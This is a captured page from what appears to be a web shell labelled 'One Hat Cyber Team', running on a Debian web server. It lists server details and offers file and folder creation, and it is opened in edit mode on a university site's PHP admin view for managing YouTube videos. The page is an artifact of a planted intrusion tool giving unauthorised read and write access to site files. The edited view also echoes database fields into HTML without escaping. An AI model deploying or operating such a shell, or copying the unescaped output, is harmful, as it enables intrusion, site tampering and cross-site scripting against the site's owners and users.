Default page

⚝ One Hat Cyber Team ⚝

Your IP: 192.168.31.6
Server IP: 192.168.1.11
Server: Linux pams 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
PHP Version: 8.2.28
Buat File | Buat Folder

Dir : ~/var/www/lppm/Modules/Backend/Video/Views/

Edit File: index.php

<div class="content-header">
  <div class="container-fluid">
    <div class="row mb-2">
      <div class="col-sm-6">
        <h1 class="m-0"><?=$title?></h1>
      </div>
      <div class="col-sm-6">
        <ol class="breadcrumb float-sm-right">
          <li class="breadcrumb-item"><a href="#">Dashboard</a></li>
          <li class="breadcrumb-item active"><?=$li_1?></li>
        </ol>
      </div>
    </div>
  </div>
</div>

<section class="content">
  <div class="container-fluid">
    <div class="row">
        <div class="col-12">
          <div class="card">
            <div class="card-header">
              <div class="card-tools">
                <a class="btn btn-sm btn-primary" data-toggle="modal" data-target="#modalVideo">Tambah</a>
              </div>
              
            </div>
            <div class="card-body">
              <table class="table table-hover align-middle mb-0">
                    <thead class="bg-light">
                        <tr>
                            <th class="px-4 py-3" width="180">PREVIEW</th>
                            <th>JUDUL VIDEO</th>
                            <th class="text-center">HEADLINE</th>
                            <th class="text-center">AKSI</th>
                        </tr>
                    </thead>
                    <tbody>
                        <?php foreach($list as $v): ?>
                        <tr>
                            <td class="px-4">
                                <img src="https://img.youtube.com/vi/<?= $v['youtube_id'] ?>/mqdefault.jpg" class="rounded-3 w-100 shadow-sm">
                            </td>
                            <td>
                                <div class="fw-bold text-dark"><?= $v['title'] ?></div>
                                <code class="small text-primary"><?= $v['video_url'] ?></code>
                            </td>
                            <td class="text-center">
                                <?= $v['is_headline'] ? '<span class="badge bg-success rounded-pill">Headline</span>' : '-' ?>
                            </td>
                            <td class="text-center">
                                <button class="btn btn-white btn-sm border btn-edit-video" 
                                    data-id="<?= $v['id'] ?>" data-title="<?= $v['title'] ?>" 
                                    data-url="<?= $v['video_url'] ?>" data-headline="<?= $v['is_headline'] ?>">
                                    <i class="bi bi-pencil text-primary"></i>
                                </button>
                                <a href="<?= base_url('admin/video/delete/'.$v['id']) ?>" class="btn btn-white btn-sm border btn-delete">
                                    <i class="bi bi-trash3 text-danger"></i>
                                </a>
                            </td>
                        </tr>
                        <?php endforeach; ?>
                    </tbody>
                </table>
            </div>
            
          </div>
        </div>
    </div>
  </div>
</section>

<div class="modal fade" id="modalVideo" tabindex="-1" data-bs-backdrop="static">
    <div class="modal-dialog modal-dialog-centered">
        <div class="modal-content border-0 shadow-lg rounded-4">
            <form id="formVideo" action="<?= base_url('admin/video/store') ?>" method="post">
                <?=csrf_field()?>
                <input type="hidden" name="id" id="video_id">
                <div class="modal-header border-0 p-4 pb-0">
                    <h5 class="fw-bold modal-title">Tambah Video</h5>
                    <button type="button" class="btn-close" data-dismiss="modal"></button>
                </div>
                <div class="modal-body p-4">
                    <div class="mb-3">
                        <label class="form-label small fw-bold">Judul Video</label>
                        <input type="text" name="title" id="video_title" class="form-control rounded-3" required>
                    </div>
                    <div class="mb-3">
                        <label class="form-label small fw-bold">URL YouTube</label>
                        <input type="url" name="video_url" id="video_url" class="form-control rounded-3" required placeholder="https://www.youtube.com/watch?v=...">
                    </div>
                    <div class="form-check form-switch">
                        <input class="form-check-input" type="checkbox" name="is_headline" value="1" id="video_headline">
                        <label class="form-check-label small fw-bold" for="video_headline">Tampilkan di Headline</label>
                    </div>
                </div>
                <div class="modal-footer border-0 p-4 pt-0">
                    <button type="submit" class="btn btn-primary w-100 rounded-pill fw-bold">Simpan</button>
                </div>
            </form>
        </div>
    </div>
</div>
<script type="text/javascript">
  $(function () {
    $("#example1").DataTable({
      "responsive": true, "lengthChange": false, "autoWidth": false,
      "buttons": ["excel", "pdf", "print"]
    }).buttons().container().appendTo('#example1_wrapper .col-md-6:eq(0)');
  });

</script>
<script>
    $('.btn-edit-video').on('click', function() {

const id = $(this).data('id');
        $('#video_id').val(id);
        $('#video_title').val($(this).data('title'));
        $('#video_url').val($(this).data('url'));
        $('#video_headline').prop('checked', $(this).data('headline') == 1);
        
        $('.modal-title').text('Edit Video');
        $('#formVideo').attr('action', '<?= base_url('admin/video/update') ?>/' + id);
        $('#modalVideo').modal('show');
    });

$('#modalVideo').on('hidden.bs.modal', function() {
        console.log('OK');
        $('#formVideo')[0].reset();
        $('.modal-title').text('Tambah Video');
        $('#formVideo').attr('action', '<?= base_url('admin/video/store') ?>');
    });
</script>